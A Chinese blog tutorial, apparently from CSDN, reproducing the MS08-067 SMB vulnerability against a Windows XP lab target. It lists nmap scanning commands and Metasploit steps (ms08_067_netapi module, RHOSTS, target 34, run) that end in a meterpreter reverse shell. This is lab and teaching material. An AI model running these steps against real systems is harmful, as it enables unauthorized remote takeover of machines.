MS08_067漏洞复现

本文详细介绍了如何利用MS08_067漏洞攻击Windows XP系统的过程,包括环境准备、端口扫描、漏洞检测和复现。通过nmap工具探测目标主机的445端口,确认存在漏洞后,使用Metasploit框架选择相应的攻击模块,配置参数并执行,最终实现远程代码执行,获取对靶机的控制权。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原理

攻击者利用受害主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓冲区,获取远程代码执行的权限,从而完全控制主机

环境准备

攻击机kali 192.168.182.130
靶机 windows xp 中文版 192.168.182.129

靶机关闭防火墙,靶机需要在攻击机的网段中

端口扫描

使用nmap探测ip网段上存活的主机及开放的端口

nmap -sV -n 192.168.182.0/24
  • -sV表示扫描系统版本及服务信息
  • -n 表示加快扫描进度

在这里插入图片描述
查看是否存在ms08_067漏洞

nmap -n -p 445 --script smb-vuln-ms08-067 192.168.182.129 --open

在这里插入图片描述

漏洞复现

启动msfconsole

msfconsole

在这里插入图片描述
搜索ms08_067选择攻击模块

search ms08_067

在这里插入图片描述
use调用模块

use exploit/windows/smb/ms08_067_netapi

show options 查看该模块需要配置的参数

show options

yes表示需要配置的参数,RPORT,SMBPIPE已经默认配置好了,只需要配置RHOSTS
在这里插入图片描述配置RHOSTS,设置为靶机地址

set RHOSTS 192.168.182.129

msf6 Payload 攻击载荷模块已经默认设置好了不需要再设置lhost,LHOST表示回连地址,LPORT端口
在这里插入图片描述
设置target,靶机的系统版本

show targets

我的靶机是xp sp3 中文版
在这里插入图片描述设置为target34 windows xp3 中文版

set target 34

在这里插入图片描述
run 运行即可反弹shell,反弹一个meterpreter代表攻击成功

run

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值